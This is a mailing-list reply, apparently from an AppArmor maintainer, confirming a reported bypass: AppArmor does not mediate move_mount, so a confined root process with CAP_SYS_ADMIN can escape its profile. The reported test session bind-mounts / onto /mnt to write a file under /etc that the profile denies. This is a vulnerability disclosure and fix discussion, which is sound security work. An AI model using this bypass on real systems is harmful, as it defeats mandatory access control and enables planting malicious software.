On 9/5/23 07:42, Andreas Steinmetz wrote:
Tested with kernel 6.4.12-arch1-1
AppArmor seemingly doesn't handle the move_mount system call. Thus
correct,
commit 2db154b3ea8e ("vfs: syscall: Add move_mount(2) to move mounts around")
added the move_mount syscall and a new LSM hook, but did not provide
even stub implementations to existing LSMs, introducing a regression
in all LSMs implementing mount mediation.
Unfortunately a fix has not landed in apparmor.
only CAP_SYS_ADMIN is required to bind mount any directory anywhere.
correct. It requires cap_sys_admin in the capability set, and the
profile. Unfortunately if relying on mount mitigations in the profile
this is a by-pass
This allows to completely subvert security including e.g. rootkit
installation for a process that actually should be confined by an
enforced AppArmor policy.
correct. Though it is mitigated to a degree by requiring cap_sys_admin
within the profile.
Simple policy that should deny mounts and prevent system modification:
abi <abi/3.0>,
profile minimal {
capability sys_admin,
/bin/bash mr,
/etc/** mrlk,
/mnt/** mrwlk,
/usr/** mrlkix,
/proc/*/attr/apparmor/current r,
}
The following test then run as root:
[root /]# aa-exec -p minimal /bin/bash
bash: /dev/null: Permission denied
bash: /root/.bashrc: Permission denied
[root /]# cat /proc/self/attr/apparmor/current
minimal (enforce)
[root /]# ls -l /etc/malicious_software
ls: cannot access '/etc/malicious_software': No such file or directory
[root /]# touch /etc/malicious_software
touch: cannot touch '/etc/malicious_software': Permission denied
[root /]# mount --bind / /mnt
[root /]# touch /mnt/etc/malicious_software
[root /]# ls -l /etc/malicious_software
-rw-r--r-- 1 root root 0 Sep 5 16:27 /etc/malicious_software
[root /]#
This test case is very legitimate as it shows that the MAC enforcement
by AppArmor is completely bypassed, resulting is standard DAC access
control, which is not supposed to happen, especially as the enforced
profile does not allow for any mount operation.
correct
Probably the whole set of system calls mentioned in
https://lwn.net/Articles/759499/ is probably not handled and thus
affected.
yes and no - there is certainly a need for additional mediation on
them. I need to dig deeper to establish exactly what needs to be
done.
I will reply to this with a first pass at addressing move_mount.
